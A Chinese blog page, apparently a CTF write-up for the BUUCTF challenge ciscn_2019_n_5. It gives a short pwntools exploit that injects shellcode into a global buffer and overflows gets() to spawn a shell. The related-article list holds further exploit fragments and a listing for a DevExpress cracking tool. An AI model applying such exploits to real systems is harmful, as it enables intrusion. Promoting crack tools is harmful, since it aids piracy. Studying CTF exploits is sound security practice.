墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
500+累计阅读
555平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
没有开启保护,有可写segments,考虑shellcode
gets()函数溢出点
偏移量
栈溢出到shellcode,getshell
from pwn import *
context.log_level="debug"
p=remote("node4.buuoj.cn",29553)
context.arch="amd64"
shellcode=asm(shellcraft.sh())
name=0x601080
p.recvuntil("name\n")
p.sendline(shellcode)
p.recvuntil("?\n")
payload="A"*0x28+p64(name)
p.sendline(payload)
p.interactive()
SeedVR2插件双版本共存实战：手把手教你创建幽灵节点解决ComfyUI兼容问题
本文详细介绍了解决ComfyUI中SeedVR2插件新旧版本兼容问题的实战方案。通过目录隔离实现双版本共存，并手把手教你创建‘幽灵节点’来模拟缺失的SeedVR2ExtraArgs节点，从而让旧工作流得以正常运行，同时享受新版本的功能与性能。
[buuctf]ciscn_2019_n_5
[buuctf]ciscn_2019_n_5
Cocos Creator 3.x 实战：用脚本动态加载Spine动画，告别resources硬编码
本文详细介绍了Cocos Creator 3.x中Spine动画的动态加载与挂点系统实战技巧。通过Asset Bundle替代传统resources硬编码方式，实现资源的高效管理和热更新支持，同时结合TypeScript强类型和单例模式优化加载流程。文章还深入探讨了跨平台适配、挂点编程方案及性能优化策略，帮助开发者提升游戏开发效率与灵活性。
【CTF】ciscn_2019_n_5
题目分析 1 反编译，寻找可以利用的地方 main函数的反编译结果如下： int main(void) { 1 char text [30]; 2 setvbuf(stdout,(char *)0x0,2,0); 3 puts("tell me your name"); 4 read(0,name,100); 5 puts("wow~ nice name!"); 6 puts("What do you want to say to me?"); 7 gets(text);
【路由交换】思科5506防火墙三区域互通
思科 5506 inside outside dmz 互通
AIO-1126-JD4（RV1126）蓝牙通讯（BLE）
AIO-1126-JD4采用了正基科技推出的一款集成WiFi、蓝牙功能的模组AP6236，支持高速（HS）功能的蓝牙 4.0，集成了 1.5 类功率放大器（PA），并支持低功耗蓝牙（BLE）。提到正基就不得不提下博通。博通和正基是芯片技术与模块制造方面的合作关系，正基科技是中国台湾的公司，在无线通信模块领域有一定的市场份额，博通则是全球领先的有线和无线通信半导体公司。正基把包含博通关键IP的核心芯片和自家的射频部分等封装在一起，即SIP（System In Package）。
ciscn_2019_n_5
exp #!/usr/bin/env python3 # coding=utf-8 from pwn import * from LibcSearcher import * context(log_level = 'debug') proc_name = './ciscn_2019_n_5' # p = process(proc_name) p = remote('node3.buuoj.cn', 28451) elf = ELF(proc_name) p.sendline('a'.encode()).
VCS NLP 低功耗验证系列（六）：功耗分析与优化——SAIF 报告与验证效率提升
本文是VCS NLP低功耗验证系列的第六篇，主要解决功耗数据采集和验证效率优化问题。文章首先介绍了SAIF(Switching Activity Interchange Format)文件在功耗分析中的作用，详细讲解了VCS的Region-Based SAIF功能，包括三个关键系统任务($saif_region_create、$saif_region_exclude、$saif_region_monitor)的使用方法和工程实践建议。接着从编译侧、运行侧和方法学侧三个维度提出了NLP验证效率优化策略，特别强
buuctf pwn17
什么都没有开，意味着可以通过shellcode进行攻击。
高频电磁场仿真-主题064-伴随变量法与灵敏度分析
在电磁器件优化设计中，梯度信息对于指导优化方向至关重要。考虑一个典型的电磁优化问题： 其中 p=[p1,p2,...,pn]Tp = [p_1, p_2, ..., p_n]^Tp=[p1,p2,...,pn]T 是设计参数向量（如几何尺寸、材料参数等）。传统有限差分法的困境：示例： 一个具有100个设计参数的天线优化问题伴随变量法（Adjoint Variable Method, AVM）通过引入伴随场，将梯度计算复杂度从 O(n)O(n)O(n) 降低到 O(1)O(1)O(1)：伴随变量法在计算
强化学习算法案例——一个经典的走迷宫任务。
作者：禅与计算机程序设计艺术 1.简介 在强化学习(Reinforcement Learning, RL)中，有一个经典的任务——走迷宫，其原理简单易懂，但它的实际意义却深远，它让计算机学习如何通过策略网络(policy network)，以最佳的方式解决复杂的任务。本文将介绍如何用强化学习解决这个经典
pwn学习（4）BUUCTF-ciscn_2019_n_1（浮点数转十六进制脚本积累）
IDA打开，如果满足的条件达成，就可以get flag。将代码11.28125在内存中的十六进制表示出来，找到栈溢出漏洞，输入可以覆盖到v2。脚本积累：浮点数转十六进制代码。checksec一下。
从数据到行动：客服运营必分析的8大核心维度
服务运营正从被动响应升级为数据驱动型战略体系。客服中心的海量交互数据能精准反映服务效能、客户体验及运营短板，关键在于实现数据的可视化与可操作化。本文系统剖析了八类核心数据指标：1）客户行为数据（CSAT/NPS/投诉内容）；2）通话效率指标（AHT/接通率）；3）服务质量（质检体系/情绪识别）；4）坐席绩效（FCR/客户评价）；5）流程与知识库（转接率/工单时效）；6）渠道流量分析；7）异常预警机制；8）成本收益模型。通过构建多维数据分析体系，企业可在客户全生命周期管理中实现服务升级、风险防控与资源
BUUCTF ciscn_2019_ne_5 & jarvisoj_fm
只开起了部分RELRO与NX。IDA中发现4个函数mainGetFlagAddLog主要只需要看这3个函数。
OV9734 DATASHEET，完整规格书
OV9734完整规格书，包括电气参数，尺寸规格，寄存器配置表等
android 蓝牙通讯demo
android 下蓝牙通讯demo，实现了发现蓝牙，使能蓝牙，通过蓝牙发送消息。
pwn 2
1.checksec查看文件保护64位，基本没有保护2.将文件放入ida，f5查看反编译的代码找到name地址3.gdb查一下bss段的权限，可执行，可将shellcode注入name段4.计算偏移量5.写脚本6.运行得到flag。
IEM模型，地表粗糙度模拟
利用微波反演土壤水分时候，利用IEM模型可以实现对随机地表的模拟
[CISCN 2019华北] PWN5（ciscn_2019_n_5） 复现
此题我认为需要认真分析伪代码，发现其漏洞和一些重要信息，并且需要了解怎么构造shellcode和构造rop执行流，这些都是比较基础的知识点，最后 法二 和 法三 构造exp有些不同点，可以尝试对比一下，你应该会收获不少（上述为个人看法，如有不对，希望各位师傅指正）
Devexpress16.2.6破解工具
Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具
buuctf ciscn_2019_ne_5
ret2text 覆盖dest需要0x48+0x4，sh可以用gdb的find找到，别忘了写4个字符的返回地址 exp： from pwn import * from LibcSearcher import * local_file = './ciscn_2019_ne_5' local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so' ...
BUUCTF-pwn-ciscn_2019_ne_51
我们看到strcpy是将src的内容复制到dest。我们前面看到src允许我们输入128个字节。而dest数组离ebp只有0x48个字节。32为程序没有canary没有PIE，应该是简单的栈溢出。程序上来是输入一个密码验证。随便输入下错误直接退出。那么我们需要构造的东西都有了，接着就是找溢出点。它会把我们的输入放入src这个数组中。主函数大致流程在此。当找不到/bin/sh的时候，可以用sh代替。这里就有一个小技巧了。
ciscn_2019_n_5解题
linux系统命令和理解好程序运行流程。
[CTF] ciscn_2019_ne_5
ciscn_2019_ne_5
【BUUCTFPWN】ciscn_2019_ne_5
【BUUCTFPWN】ciscn_2019_ne_5
[BUUCTF]PWN——ciscn_2019_ne_5
ciscn_2019_ne_5 题目附件 步骤： 例行检查，32位，开启了nx保护 试运行一下程序，看一下程序的大概执行情况 32位ida载入，shift+f12查看程序里的字符串，发现了flag字符串 双击跟进，ctrl+x找到调用的函数，得到提示我们输入的log就是flag 看一下main函数，s1在接收admin的密码administrator，这边读入了100个长度的字符，看到15行，给s1的大小只有48，这边存在溢出漏洞 根据之前那个flag的提示，之后我们应该选1，添加一个log，之后
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
1407
扫一扫
